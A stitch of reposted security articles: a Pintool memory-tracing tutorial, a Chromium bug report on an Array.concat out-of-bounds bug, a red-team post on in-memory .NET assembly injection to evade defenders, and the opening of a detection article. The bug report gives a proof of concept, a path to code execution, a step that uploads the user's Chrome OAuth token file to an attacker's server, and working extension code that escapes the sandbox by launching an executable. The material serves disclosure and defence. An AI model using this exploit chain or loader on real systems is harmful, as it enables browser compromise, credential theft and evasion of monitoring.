LogFile.open(LogFileName.Value().c_str()); LogFile << "## Memory tracing for PID = " << PIN_GetPid() << " started" << endl; if (EnumSymbols.Value()) LogFile << "### Listing Symbols" << endl; else LogFile << "### Started tracing after '" << EntryPoint.Value().c_str() << "()' call" << endl; IMG_AddInstrumentFunction(CustomInstrumentation, NULL); PIN_AddFiniFunction(FinalFunc, NULL); PIN_StartProgram(); return 0; } There are a couple of new options supported by this Pintool. If you look at the KNOB switches (below), youâll see that the Pintool now supports two new options. KNOB<string> EntryPoint(KNOB_MODE_WRITEONCE, "pintool", "entrypoint", "main", "Guest entry-point function"); KNOB<BOOL> EnumSymbols(KNOB_MODE_WRITEONCE, "pintool", "symbols", "0", "List Symbols"); You can specify whatâs the entry-point function of the target/guest application you want to trace. Why is this useful? If you donât do it, all the initialization code will also be traced and it will become very hard to make sense of the output of our Pintool. Try. By default, the tracing will start only after the function main is called. Obviously, if our target/guest application doesnât have a main function, weâll end with an empty output file. Letâs look at a specific example. Letâs look at the Windows calc.exe. This binary doesnât have a main function. So we run our Pintool as shown below. C:\pin>pin -t source\tools\WinMallocTracer\Release\WinMallocTracer.dll -- calc.exe Weâll get the following output. ## Memory tracing for PID = 1732 started ### Started tracing after 'main()' call As expected, since calc.exe doesnât have a main function. So, if we want to trace calc.exe or any other binary, weâll need to find whatâs its entry-point (or any other call after we want to start our trace). We can launch it on IDA, for example, or we can use the other KNOB switch (-symbols) as shown below to list all the symbols. C:\pin>pin -t source\tools\WinMallocTracer\Release\WinMallocTracer.dll -symbols 1 -- calc.exe And look at the output file (by default memprofile.out) to see if we can find the function we are looking for. C:\pin> type memprofile.out ## Memory tracing for PID = 5696 started ### Listing Symbols unnamedImageEntryPoint InterlockedIncrement InterlockedDecrement InterlockedExchange InterlockedCompareExchange InterlockedExchangeAdd KernelBaseGetGlobalData unnamedImageEntryPoint GetErrorMode SetErrorMode CreateIoCompletionPort PostQueuedCompletionStatus GetOverlappedResult (...) If you want to see the whole contents of the file you can find it here. The first line is quite interesting though, and itâs probably what we are looking for (unnamedImageEntryPoint). So we can use our Pintool as shown below. C:\pin>pin -t source\tools\WinMallocTracer\Release\WinMallocTracer.dll -entrypoint unnamedImageEntryPoint -- calc.exe And if we look at the output this time weâll get something like: C:\pin> type memprofile.out ## Memory tracing for PID = 6656 started ### Started tracing after 'unnamedImageEntryPoint()' call [*] RtlAllocateHeap(32) = 0x4d9098 [*] RtlAllocateHeap(564) = 0x2050590 [*] RtlAllocateHeap(520) = 0x4dcb18 [*] RtlAllocateHeap(1024) = 0x4dd240 [*] RtlAllocateHeap(532) = 0x20507d0 [*] RtlAllocateHeap(1152) = 0x20509f0 [*] RtlAllocateHeap(3608) = 0x4dd648 [*] RtlAllocateHeap(1804) = 0x2050e78 [*] RtlFreeHeap(0x4dd648) (...) If you want to see the whole contents of the file you can find it here. As youâll see, itâs still hard to read and make sense of the output. As I mentioned before, this Pintool can actually tell thereâs a problem, but not where it is. Iâll try to improve the Pintool, and if you are interested you can follow its future developments here. At least, every time I detect an issue Iâll add a PIN_ApplicationBreakpoint. In some cases, it might still be very hard to locate the issue, but itâs a starting point. There are also a lot of false positives, as you can see in the output of calc.exe. To validate that actually the Pintool is working we can use the following sample target/guest (I called it ExercisePin2.exe). #include <windows.h> #include <stdio.h> #define PAGELIMIT 80 int my_heap_functions(char *buf) { HLOCAL h1 = 0, h2 = 0, h3 = 0, h4 = 0; h1 = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 260); h2 = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 260); HeapFree(GetProcessHeap(), 0, h1); h3 = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 520); h4 = HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, h3, 1040); HeapFree(GetProcessHeap(), 0, h4); return 0; } int my_virtual_functions(char *buf) { LPVOID lpvBase; DWORD dwPageSize; BOOL bSuccess; SYSTEM_INFO sSysInfo; // Useful information about the system GetSystemInfo(&sSysInfo); // Initialize the structure. dwPageSize = sSysInfo.dwPageSize; // Reserve pages in the virtual address space of the process. lpvBase = VirtualAlloc( NULL, // System selects address PAGELIMIT*dwPageSize, // Size of allocation MEM_RESERVE, // Allocate reserved pages PAGE_NOACCESS); // Protection = no access if (lpvBase == NULL) exit("VirtualAlloc reserve failed."); bSuccess = VirtualFree( lpvBase, // Base address of block 0, // Bytes of committed pages MEM_RELEASE); // Decommit the pages return 0; } int main(void) { my_heap_functions("moo"); my_virtual_functions("moo"); return 0; } You can find the Visual Studio project here. You can play with it a compare the output with whatâs expected based on ExercisePin2.c source code. C:\pin>pin -t source\tools\WinMallocTracer\Release\WinMallocTracer.dll -symbols 1 -- C:\TARGET\ExercisePin2.exe C:\pin> type memprofile.out ## Memory tracing for PID = 5600 started ### Listing Symbols _enc$textbss$end unnamedImageEntryPoint main my_heap_functions my_virtual_functions HeapAlloc HeapReAlloc HeapFree GetProcessHeap GetSystemInfo (...) The full output is here. Since the entry-point function is main, we can simply run the Pintool without passing anything to it. C:\pin>pin -t source\tools\WinMallocTracer\Release\WinMallocTracer.dll -- C:\TARGET\ExercisePin2.exe C:\pin> type memprofile.out ## Memory tracing for PID = 4396 started ### Started tracing after 'main()' call [*] RtlAllocateHeap(260) = 0x41dd30 [*] RtlAllocateHeap(260) = 0x41de40 [*] RtlFreeHeap(0x41dd30) [*] RtlAllocateHeap(520) = 0x41df50 [*] RtlHeapfree(0x41df50) from RtlHeapRealloc() [*] RtlHeapReAlloc(1040) = 0x41df50 [*] RtlFreeHeap(0x41df50) [*] VirtualAllocEx(327680) = 0x2410000 [*] VirtualFreeEx(0x2410000) [*] Memory at address 0x41de40 allocated but not freed As we can see, tracing memory calls is tricky, but achievable. Iâll try to add a few more things to this WinMallocTracer Pintool in a near future. Keep an eye on GitHub if you fancy. Final notes Playing with a DBI framework is not that hard, as we saw, the challenge lies in doing it right. That is, handle all the corner cases efficiently. Something that looks fairly easy can become very challenging if we are going to do it right. The example tool I chose came from a specific need, and from a vulnerability discovering perspective DBI frameworks are indeed very useful. Thereâs a lot of room for improvement, and I plan to keep working on it. Even though it was the Fuzzing subject that brought me here (that is, playing with DBI frameworks) I ended up not talking too much about its relationship. Think that a DBI tool per si wonât find many bugs unless you exercise as many code paths as possible. After all, a DBI system only modifies the code thatâs executed. So, itâs easy to understand that we need to combine it with a coverage-guided Fuzzer to discover more bugs (preferably, exploitable). DBI systems are here to stay, they emerged as a means for bypassing the restrictions imposed by binary code. Or, lack of access to source code. The need to understand, and modify the runtime behavior, of computer programs, is undeniable. The field of dynamic binary modification is evolving very fast. New applications and new complex engineering challenges are appearing constantly and static binary patching and hooking are âthingsâ from the past. This post documents the first steps if you want to get into this area. All the code snippets used are available at my GitHub. References (in no particular order) https://en.wikipedia.org/wiki/Pin_(computer_program) https://en.wikipedia.org/wiki/Dynamic_program_analysis https://en.wikipedia.org/wiki/Instrumentation_(computer_programming) http://uninformed.org/index.cgi?v=7&a=1&p=3 https://software.intel.com/sites/landingpage/pintool/docs/97619/Pin/html/ http://www.ic.unicamp.br/~rodolfo/mo801/04-PinTutorial.pdf https://software.intel.com/en-us/articles/pin-a-dynamic-binary-instrumentation-tool https://software.intel.com/sites/default/files/managed/62/f4/cgo2013.pdf https://software.intel.com/sites/default/files/m/d/4/1/d/8/pin_tutorial_cgo_ispass_2012.ppt https://software.intel.com/sites/default/files/m/d/4/1/d/8/Pin_tutorial_cgo_2011_final_1.ppt https://software.intel.com/sites/default/files/article/256675/cgo-2010-final.ppt https://msdn.microsoft.com/en-gb/magazine/dn818497.aspx (got a bunch of ideas from this post) https://github.com/jingpu/pintools/blob/master/source/tools/ManualExamples/w_malloctrace.cpp https://github.com/corelan/pin http://dynamorio.org/docs/ http://dynamorio.org/tutorial.html http://dynamorio.org/pubs.html http://dynamorio.org/docs/API_BT.html#sec_decode https://groups.google.com/forum/#!forum/dynamorio-users http://dynamorio.org/docs/samples/wrap.c https://github.com/DynamoRIO/dynamorio/blob/master/api/samples/ssljack.c https://axtaxt.wordpress.com/2014/03/02/implementing-a-simple-hit-tracer-in-dynamorio/ Building Dynamic Instrumentation Tools with DynamoRIO https://media.blackhat.com/bh-us-11/Diskin/BH_US_11_Diskin_Binary_Instrumentation_Slides.pdf Using Binary Instrumentation for Vulnerability Discovery (mandatory) Dynamic Binary Analysis and Instrumentation Covering a function using a DSE approach (mandatory) http://2011.zeronights.org/files/dmitriyd1g1evdokimov-dbiintro-111202045015-phpapp01.pdf https://qbdi.quarkslab.com/QBDI_34c3.pdf Getting fun with Frida (mandatory) https://dyninst.org/sites/default/files/manuals/dyninst/dyninstAPI.pdf https://www.frida.re/docs/home/ https://www.frida.re/docs/presentations/ https://monosource.github.io/tutorial/2017/01/26/frida-linux-part1/ (my frida section comes mostly from here) https://vicarius.io/blog/wtf-is-frida/ http://blog.kalleberg.org/post/833101026/live-x86-code-instrumentation-with-frida https://www.codemetrix.net/hacking-android-apps-with-frida-1/ https://en.wikipedia.org/wiki/Chrome_V8 https://github.com/BinaryAnalysisPlatform/bap-tutorial Hiding PINâs Artifacts to Defeat Evasive Malware https://software.intel.com/en-us/articles/pin-errors-in-2017-update-3-and-4-analysis-tools Pwning Intel Pin Reconsidering Intel Pin in Context of Security Dynamic Program Analysis and Optimization under DynamoRIO https://bsidesvienna.at/slides/2017/the_art_of_fuzzing.pdf https://libraries.io/github/memtt/malt http://3nity.io/~vj/downloads/publications/pldi05_pin.pdf http://valgrind.org/docs/valgrind2007.pdf http://groups.csail.mit.edu/commit/papers/03/RIO-adaptive-CGO03.pdf http://groups.csail.mit.edu/commit/papers/01/RIO-FDDO.pdf Triton Concolic Execution Framework https://www.cc.gatech.edu/~orso/papers/clause.li.orso.ISSTA07.pdf http://www-leland.stanford.edu/class/cs343/resources/shadow-memory2007.pdf http://www.burningcutlery.com/derek/docs/drmem-CGO11.pdf http://valgrind.org/docs/iiswc2006.pdf https://pdfs.semanticscholar.org/1156/5da78c06a94c1fc8a0ff3a8d710cb9a5d450.pdf http://homepages.dcc.ufmg.br/~fernando/publications/papers_pt/Tymburiba15Tools.pdf http://delivery.acm.org/10.1145/3030000/3029812/p219-elsabagh.pdf http://sharcs-project.eu/m/filer_public/74/5c/745c0bf6-7636-405f-86e6-089ac630f0d2/patharmor_ccs15.pdf https://www.bodden.de/pubs/fb2016ropocop.pdf https://arxiv.org/pdf/1502.03245.pdf https://suif.stanford.edu/papers/vmi-ndss03.pdf https://recon.cx/2012/schedule/attachments/42_FalconRiva_2012.pdf https://hackinparis.com/data/slides/2013/slidesricardorodriguez.pdf Black Box Auditing Adobe Shockwave Covert Debugging Circumventing Software Armoring Techniques Shellcode analysis using dynamic binary instrumentation http://taviso.decsystem.org/making_software_dumber.pdf http://web.cs.iastate.edu/~weile/cs513x/2018spring/taintanalysis.pdf Hybrid analysis of executables to detect security vulnerabilities Tripoux Reverse Engineering Of Malware Packers For Dummies https://pdfs.semanticscholar.org/presentation/c135/68c933ea8f6a91db67a103715fd1d4ce2253.pdf https://code.google.com/archive/p/devilheart/ http://groups.csail.mit.edu/commit/papers/02/RIO-security-usenix.pdf http://pages.cs.wisc.edu/~madhurm/pindb/pindb.pdf https://www.usenix.org/legacy/event/osdi10/tech/full_papers/Enck.pdf https://deepsec.net/docs/Slides/2009/DeepSec_2009Daniel_Reynaud-_Deobfuscation_Unpacking.pdf http://fmv.jku.at/master/Holzleiter-MasterThesis-2009.pdf http://csl.cs.ucf.edu/debugging/user_guide.html http://bitblaze.cs.berkeley.edu/papers/sweeper.pdf http://www.ece.neu.edu/groups/nucar/publications/ASSISD06moffie.pdf https://events.ccc.de/congress/2009/Fahrplan/attachments/1430_secuBT.pdf https://recon.cx/2010/slides/Recon2010-UnderStaningSwizzorObfuscation.pdf http://www.dtic.mil/dtic/tr/fulltext/u2/a462289.pdf Pin++: A Object-oriented Framework for Writing Pintools Rootkit detection via Kernel Code Tunneling https://media.blackhat.com/bh-eu-11/Mihai_Chiriac/BlackHat_EU_2011_Chiriac_Rootkit_detection-WP.pdf https://www.cc.gatech.edu/~orso/papers/clause.li.orso.ISSTA07.pdf https://recon.cx/2014/slides/pinpoint_control_for_analyzing_malware_recon2014_jjones.pdf https://arxiv.org/pdf/1503.01186.pdf https://code.google.com/archive/p/tartetatintools/ https://github.com/0xPhoeniX/MazeWalker https://recon.cx/2017/montreal/resources/slides/RECON-MTL-2017-MazeWalker.pdf https://github.com/poxyran/misc/blob/master/frida-heap-trace.py https://github.com/OALabs/frida-extract https://github.com/Nightbringer21/fridump https://edmcman.github.io/papers/oakland10.pdf https://edmcman.github.io/pres/oakland10.pdf https://github.com/falconre/falcon http://reversing.io/posts/palindrome-progress/ https://www.reddit.com/r/REMath/comments/8ml1ep/books_on_program_analysis/ http://bitblaze.cs.berkeley.edu/temu.html https://code.google.com/archive/p/flayer/ https://resources.infosecinstitute.com/pin-dynamic-binary-instrumentation-framework/ http://www.ckluk.org/ck/papers/pin_ieeecomputer10.pdf A simple PIN tool unpacker for the Linux version of Skype (mandatory) http://www.msreverseengineering.com/program-analysis-reading-list/ (mandatory) Dynamic Binary Modifications: Tools, Techniques & Applications (mandatory) https://riot.im/app/#/room/#programanalysis:disroot.org https://github.com/wapiflapi/villoc/blob/master/pintool/pintool.cpp http://www.computerix.info/skripten/mem-bugs.pdf https://en.wikibooks.org/wiki/Linux_Applications_Debugging_Techniques/Leaks https://en.wikipedia.org/wiki/Memory_debugger https://nebelwelt.net/publications/students/11fs-kravina-lightweight_memory_tracing.pdf https://panthema.net/2013/malloc_count/ http://www.burningcutlery.com/derek/docs/drmem-CGO11.pdf https://github.com/DataChi/memdb Videos Implementing an LLVM based Dynamic Binary Instrumentation framework DEF CON 15 - Quist and Valsmith - Covert Debugging HIRBSecConf 2009 - Travis Ormandy - Making Software Dumber Ole AndrĂ© Vadla RavnĂ„s - Frida: The engineering behind the reverse-engineering Finding security vulnerabilities with modern fuzzing techniques (RuhrSec 2018) (multiple references to dynamic binary instrumentation) Sursa: http://deniable.org/reversing/binary-instrumentation
-
- 1
-
-
VULNERABILITY DETAILS = Out-of-bounds access vulnerability in Array.concat() I use a bug in Array.concat() to execute arbitraty code in a sandbox. ---------------------------------------------------------------------- v8/src/runtime.cc [1] RUNTIME_FUNCTION(Runtime_ArrayConcat) { HandleScope handle_scope(isolate); ASSERT(args.length() == 1); CONVERT_ARG_HANDLE_CHECKED(JSArray, arguments, 0); int argument_count = static_cast<int>(arguments->length()->Number()); RUNTIME_ASSERT(arguments->HasFastObjectElements()); Handle<FixedArray> elements(FixedArray::cast(arguments->elements())); // Pass 1: estimate the length and number of elements of the result. // The actual length can be larger if any of the arguments have getters // that mutate other arguments (but will otherwise be precise). // The number of elements is precise if there are no inherited elements. ElementsKind kind = FAST_SMI_ELEMENTS; uint32_t estimate_result_length = 0; uint32_t estimate_nof_elements = 0; for (int i = 0; i < argument_count; i++) { HandleScope loop_scope(isolate); Handle<Object> obj(elements->get(i), isolate); uint32_t length_estimate; uint32_t element_estimate; if (obj->IsJSArray()) { Handle<JSArray> array(Handle<JSArray>::cast(obj)); length_estimate = static_cast<uint32_t>(array->length()->Number()); <<<<< Comment 1. This is first time, reference a length field of array. if (length_estimate != 0) { ElementsKind array_kind = GetPackedElementsKind(array->map()->elements_kind()); if (IsMoreGeneralElementsKindTransition(kind, array_kind)) { kind = array_kind; } } element_estimate = EstimateElementCount(array); } else { if (obj->IsHeapObject()) { if (obj->IsNumber()) { if (IsMoreGeneralElementsKindTransition(kind, FAST_DOUBLE_ELEMENTS)) { kind = FAST_DOUBLE_ELEMENTS; } } else if (IsMoreGeneralElementsKindTransition(kind, FAST_ELEMENTS)) { kind = FAST_ELEMENTS; } } length_estimate = 1; element_estimate = 1; } // Avoid overflows by capping at kMaxElementCount. if (JSObject::kMaxElementCount - estimate_result_length < length_estimate) { estimate_result_length = JSObject::kMaxElementCount; } else { estimate_result_length += length_estimate; <<<<< Comment 2. length_estimate, which is initialized in [Comment 1], is added to estimate_result_length. } if (JSObject::kMaxElementCount - estimate_nof_elements < element_estimate) { estimate_nof_elements = JSObject::kMaxElementCo unt; } else { estimate_nof_elements += element_estimate; } } ... ... Handle<FixedArray> storage; if (fast_case) { // The backing storage array must have non-existing elements to preserve // holes across concat operations. storage = isolate->factory()->NewFixedArrayWithHoles( <<<<< Comment 3. Create an array of size estimated_result_length. estimate_result_length); } else { // TODO(126): move 25% pre-allocation logic into Dictionary::Allocate uint32_t at_least_space_for = estimate_nof_elements + (estimate_nof_elements >> 2); storage = Handle<FixedArray>::cast( SeededNumberDictionary::New(isolate, at_least_space_for)); } ArrayConcatVisitor visitor(isolate, storage, fast_case); for (int i = 0; i < argument_count; i++) { Handle<Object> obj(elements->get(i), isolate); if (obj->IsJSArray()) { Handle<JSArray> array = Handle<JSArray>::cast(obj); if (!IterateElements(isolate, array, &visitor)) { <<<<< Comment 4. Call IterateElements() return isolate->heap()->exception(); } } else { visitor.visit(0, obj); visitor.increase_index_offset(1); } } if (visitor.exceeds_array_limit()) { return isolate->Throw( *isolate->factory()->NewRangeError("invalid_array_length", HandleVector<Object>(NULL, 0))); } return *visitor.ToArray(); <<<<< Comment 5. ToArray() create a corrupted Array. } ---------------------------------------------------------------------- Here is details on IterateElements() and ToArray(). ---------------------------------------------------------------------- v8/src/runtime.cc [1] static bool IterateElements(Isolate* isolate, Handle<JSArray> receiver, ArrayConcatVisitor* visitor) { uint32_t length = static_cast<uint32_t>(receiver->length()->Number()); <<<<< 4.1. This is second time, reference a length field of array. switch (receiver->GetElementsKind()) { ... } visitor->increase_index_offset(length); <<<<<<<<<< return true; } void increase_index_offset(uint32_t delta) { if (JSObject::kMaxElementCount - index_offset_ < delta) { index_offset_ = JSObject::kMaxElementCount; } else { index_offset_ += delta; <<<<<<<<< } } ---------------------------------------------------------------------- ---------------------------------------------------------------------- Handle<JSArray> ToArray() { Handle<JSArray> array = isolate_->factory()->NewJSArray(0); Handle<Object> length = isolate_->factory()->NewNumber(static_cast<double>(index_offset_)); <<<<< 5.1. local variable length is initalized with member variable index_offset_. Handle<Map> map = JSObject::GetElementsTransitionMap( array, fast_elements_ ? FAST_HOLEY_ELEMENTS : DICTIONARY_ELEMENTS); array->set_map(*map); array->set_length(*length); <<<<< array->set_elements(*storage_); <<<<< 5.2. However, storage_ is created with a size with [Comment 3]. return array; } ---------------------------------------------------------------------- (I can't definitely sure whether those above analysis is accurate or not.) Here is proof-of-concept. ---------------------------------------------------------------------- a = [1]; b = []; a.__defineGetter__(0, function () { b.length = 0xffffffff; }); c = a.concat(b); console.log(c); ---------------------------------------------------------------------- = From out-of-bounds to code execution Using out-of-bounds vulnerability in Array, attacker can trigger Use-after-free to execute code. 1. Create 2D Array, which contain corrupted Array(###) and normal Array(o), alternatively. [###########][ o ][###########][ o ][###########][ o ][###########][ o ] 2. free all normal Arrays(o) and 2D Array. 3. reference freed normal array(o) by corrupted array(###). ---------| [###########][ o ][###########][ o ][###########][ o ][###########][ o ] 4. Memory is not entirely clear, even normal Array(o) was freed. So we can use it as normal object. 5. Let an ArrayBuffer allocated on freed normal array(o) by creating many ArrayBuffer. 6. Through freed normal Array(o), manipulate ArrayBuffer's property(byteLength, buffer address) to arbitrary memory access. P.S. exploit is not optimized. = Sandbox bypassing via chrome extension Here, i describe exploit scenario and explain about sandbox escaping. Step 0. Victim open a malicious web page(Exploit). Step 1. Exploit let victim download a html page which will be executed on file:// origin. Step 2. After triggerring code execution vulnerability, open the html page(html page on step 1) by NavigateContentWindow(It use same functionality of chrome.embeddedSearch.newTabPage.navigateContentWindow of chrome://newtab). Step 3. Because of origin is file://. Attacker can access local files(read). but due to SecurityOrigin, use code execution flaws to change SecurityOrigin. Step 4. Upload user's oauth token information (%localappdata%/Google/Chrome/User Data/Default/Web Data) to attacker's server. Step 5. From now on, we can synchronize Chrome with the user's token(i'm not sure that there is additional security mechanism on OAuth to synchronize chrome browser). Step 6. Install extension for at Synchronized chrome. Step 7. During synchronization a user's Chrome install extension, too. [Step 4] may takes time. in case of windows, token file is encrypted with DPAPI. So, bruteforcing password for windows login is required to get a master key file at %appdata%/Microsoft/Protect/. [Step 6] use some vulnerability(?) in extension to bypass sandbox. In chrome://settings-frame/settings, user can change download.default_directory. Using chrome.downloads.showDefaultFolder(), chrome extension can open the directory on download.default_directory. but it doesnât check whether directory path is file or directory. (in case of file, Chrome execute it) So, malicious attacker can bypass sandbox by set download.default_directory to an executable on external server(e.g. \\host\hihi.exe) then call chrome.downloads.showDefaultFolder(). I use debugger for extension to run JavaScript on chrome://settings-frame/settings. In general, url start with chrome:// is not attachable. but simple tricks as following works. view-source:chrome://settings-frame/settings about:settings-frame/settings Chrome extension code for sandbox escaping ---------------------------------------------------------------------- function sleep(milliseconds) { var start = new Date().getTime(); for (;;) { if ((new Date().getTime() - start) > milliseconds) break; } } chrome.tabs.create({url: "about:settings-frame/settings"}, function (tab) { chrome.debugger.attach({tabId: tab.id}, "1.0", function () { sleep(1000); chrome.debugger.sendCommand({tabId: tab.id}, "Runtime.evaluate", {expression: 'old = document.getElementById("downloadLocationPath").value; chrome.send("setStringPref", ["download.default_directory", "c:\\\\windows\\\\system32\\\\calc.exe"]);'}, function (o) { sleep(100); chrome.downloads.showDefaultFolder(); //open calc chrome.debugger.sendCommand({tabId: tab.id}, "Runtime.evaluate", {expression: 'chrome.send("setStringPref", ["download.default_directory", old]); window.close();'}); }); }); }); ---------------------------------------------------------------------- Tested on Windows 7 VERSION Chrome Version: 35.0.1916.153 stable Operating System: Windows 7 Sursa: https://bugs.chromium.org/p/chromium/issues/detail?id=386988
-
- 2
-
-
Tim MalcomVetter Red Team Leader at Fortune 1. I left my clever profile in my other social network: https://www.linkedin.com/in/malcomvetter Jul 25 .NET Process Injection For a while now, I have been saying that PowerShell is dead in high security environments. Yes, it still works in environments where they havenât figured out how to monitor PowerShell or at least process creation commands and arguments, but as soon as a defensive team implements visibility into this space, defense (the blue team) has all the advantages over an adversary playing in this space. No, obfuscated PowerShell probably doesnât help. It may help against a non-human control, such as a dumb search filter, but obfuscated PowerShell actually stands out more than regular looking PowerShell, and in practice my team finds that it can be an easy way to get caught. Fast forward to yesterday. SpecterOps released a whole new slew of adversary kit written in C#, most of which is a re-write of the PowerShell tools that team has released over the past few years. Why is this relevant? Because C# and PowerShell share the same underlying technologyâââthe dotnet runtimeâââbut all of the defensive telemetry that has come out in the past few years has been focused on PowerShell itself, or if and endpoint security tool focused more abstractly, they focused on process creation, namely the executable name and its arguments. In the latter example, both: powershell -iex [blah] and net user [blah] /domain will fall into the visibility of the defenders. This is why, in todayâs most secure environments, adversaries should view process creation as EXPENSIVE. Creating a process comes with a high cost, and that cost is visibility by defenders. Two key eventsâââinitial access and persistenceââârequire living within a process and typically require creating a new one, so it is necessary overhead for the adversary. However, a wise operator will probably limit how often their adversary capital is spent on things like process creation. In the past, thatâs where things like DLL injection have been handyâââthere are less new processes in existence (plus sometimes there are added benefits from the parent processâs access). However, calls to CreateRemoteThread can be noisy and immediately picked up via endpoint telemetry, so it has less and less appeal to an adversary in a high security environment. Given SpecterOps C# tools release yesterday, we can probably view that event as the high watermark that we are living within the golden age of offensive .NET assemblies. Why? Because the same powerful libraries behind PowerShell were behind C# for many years before PowerShell was ever created, and most of the Blue Team telemetry for PowerShell is irrelevant against C#. Whatâs old is new again, as they say. But, as we traverse down this path together, process creation is still expensive and CreateRemoteThread still has its pitfalls. Not to mention that as specific tools are created and released with published binaries, then AV vendors will publish signatures for those binaries, which adversaries will want to bypass. If only there were other ways to load these offensive .NET assemblies from memory straight into the CPU? How about a simple method that uses only native .NET runtime features, so no additional resources are required? Even better, since we have to build tools quickly and donât often have time to refactor another offensive developerâs tools, wouldnât it be nice to have a method that doesnât know anything about the binary youâre injecting? How about a method that just takes a base64 encoded string of bytes? There have been examples on StackOverflow and MSDN forums for years that show methods for doing this in C#, but every example I discovered requires the developer to know the assemblyâs class names at compile time. A bit of digging into MSDN docs and exploring breakpoints in Visual Studio, and we now have something like this: Letâs walk through the code ⊠First, this is a static class, which means it can be easily pulled into your toolkit in just one or two lines of code, like this: string b64 = [some base64 encoded byte array of a .net assembly]; ManagedInjection.Inject(b64); Inside the Inject() method, the bytes are reassembled from base64 and then the System.Reflection namespace (which is used all the time legitimately, adding to the complexity of good defensive telemetry options) iterates over the binary to determine the class/type names at runtime. The adversary doesnât have to specify them in this loader code, which is good for both OPSEC reasons and because it makes the code much more complex. Then the Inject() method instantiates the objectâââso if the binary youâre passing in can run from its constructor, then youâre doneâââit will do what it needs to do. If it needs a little more help outside of the constructor, then you can pick an initial method name by a convention (in this case Iâm choosing âMain()â since most offensive tools are console apps and console apps must have a Main() function). Use your imagination or just write a wrapper object that does what it needs to do via its constructor. In the PoC repo in my github, you can see an example DLL executing by its constructor as well as a Main() method, and a console app being executed by only its Main() method. Keep in mind this PoC code reads the DLL/EXE files as byte arrays, transforms them to base64, and passes them in, but in practicality, this could be part of a larger adversary toolkit where the base64 strings are pulled as modules from a C2 server straight into memory, and possibly the underlying bytes could be encrypted from the C2 server and decrypted at the point of loading the assembly, which further minimizes opportunity for defensive inspection. Iâll leave retrieving the results from the injected assembly as an exercise to the reader, but essentially all you have to do is grab the object and cast it to the correct class to retrieve data from its members. As always, YMMV (your mileage may vary) in your environment. Source Code:https://github.com/malcomvetter/ManagedInjection Sursa: https://medium.com/@malcomvetter/net-process-injection-1a1af00359bc
-
Hunting for In-Memory .NET Attacks Joe Desimone October 10, 2017 In past blog posts, we shared our approach to hunting for traditional in-memory attacks along with in-depth analysis of many injection techniques. As a follow up to my DerbyCon presentation, this post will investigate an emerging trend of adversaries using .NET-based in-memory techniques to evade detection. Iâll discuss both eventing (real-time) and on-demand based detection strategies of these .NET techniques. At Endgame, we understand that these differing approaches to detection and prevention are complimentary, and together result in the most robust defense against in-memory attacks. The .NET Allure Using .NET in-memory techniques, or even standard .NET applications, are attractive to adversaries for several reasons. First and foremost, the .NET framework comes pre-installed in all Windows versions. This is important as it enables the attackersâ malware to have maximum compatibility across victims. Next, the .NET PE metadata format itself is fairly complicated. Due to resource constraints, many endpoint security vendors have limited insight into the managed (.NET) structures of these applications beyond what is shared with vanilla, unmanaged (not .NET) applications. In other words, most AVs and security products donât defend well against malicious .NET code and adversaries know it. Finally, the .NET framework has built-in functionality to dynamically load memory-only modules through the Assembly.Load(byte[]) function (and its various overloads). This function allows attackers to easily craft crypters/loaders, keep their payloads off disk, and even bypass application whitelisting solutions like Device Guard. This post focuses on the Assembly.Load function due to the robust set of attacker capabilities it supports. .NET Attacker Techniques Adversaries leveraging .NET in-memory techniques is not completely new. However, in the last six months there has been a noticeable uptick in tradecraft, which Iâll briefly discuss to illustrate the danger. For instance, in 2014, DEEP PANDA, a threat group suspected of operating out of China, was observed using the multi-stage MadHatter implant which is written in .NET. More interestingly, this implant exists only in memory after a multi stage Assembly.Load bootstrapping process that begins with PowerShell. PowerShell can directly call .NET methods, and the Assembly.Load function being no exception. It is as easy as calling [System.Reflection.Assembly]::Load($bin). More recently, the OilRig APT Group used a packed .NET malware sample known as ISMInjector to evade signature based detection. During the unpacking routine, the sample uses the Assembly.Load function to access the embedded next stage malware known as ISMAgent. A third example, more familiar to red teams, is ReflectivePick by Justin Warner and Lee Christensen. ReflectivePick allows PowerShell Empire to inject and bootstrap PowerShell into any running process. It leverages the Assembly.Load() method to load their PowerShell runner DLL without dropping it to disk. The image below shows the relevant source code of their tool. It is important to point out that Assembly.Load, being a core function of the .NET framework, is often used in legitimate programs. This includes built-in Microsoft applications, which has led to an interesting string of defense evasion and application whitelisting bypasses. For example, Matt Graeber discovered a Device Guard bypass that targets a race condition to hijack legitimate calls to Assembly.Load, allowing an attacker to execute any unsigned .NET code on a Device Guard protected host. Because of the difficulty in fixing such a technique, Microsoft currently has decided not to service this issue, leaving attackers a convenient âforever-day exploitâ against hosts that are hardened with application whitelisting. Casey Smith also has published a ton of research bypassing application whitelisting solutions. A number of these techniques, at their core, target signed Microsoft applications that call the Assembly.Load method with attacker supplied code. One example is MSBuild, which comes pre-installed on Windows and allows attackers to execute unsigned .NET code inside a legitimate and signed Microsoft process. These techniques are not JUST useful to attackers who are targeting application whitelisting protected environments. Since they allow attacker code to be loaded into legitimate signed processes in an unconventional manner, most anti-virus and EDR products are blind to the attacker activity and can be bypassed. Finally, James Forshaw developed the DotNetToJScript technique. At its heart, this technique leverages the BinaryFormatter deserialization method to load a .NET application using only JScript. Interestly enough, the technique under the hood will make a call to the Assembly.Load method. DotNetToJscript opened the door for many new clever techniques for executing unsigned .NET code in a stealthy manner. For example, James demonstrated how to combine DotNetToJScript with com hijacking and Caseyâs squiblydoo technique to inject code into protected processes. In another example, Casey weaponized DotNetToJScript in universal.js to execute arbitrary shellcode or PowerShell commands. The number of Microsoft-signed applications that be can be abused to execute attacker code in a stealthy manner is dizzying. Fortunately, the community has been quick to document and track them publically in a number of places. One good reference is Oddvar Moeâs UltimateAppLockerByPassList, and another is Microsoftâs own reference. Detecting .NET Attacks As these examples illustrate, attackers are leveraging .NET in various ways to defeat and evade endpoint detection. Now, letâs explore two approaches to detecting these attacks: on-demand and real-time based techniques. On-Demand Detection On-demand detection leverages snapshot in time type data collection. You donât need a persistent agent running and collecting data when the attack takes place, but you do need the malicious code running during the hunt/collection time. The trick is to focus on high-value data that can capture actor-agnostic techniques, and has a high signal-to-noise ratio. One example is the Get-InjectedThread script for detecting traditional unmanaged in-memory injection techniques. To demonstrate detecting .NET malware usage of the Assembly.Load function, I leverage PowerShell Empire by Will Schroeder and others. Empire allows you to inject an agent into any process by remotely bootstrapping PowerShell. As you see below, after 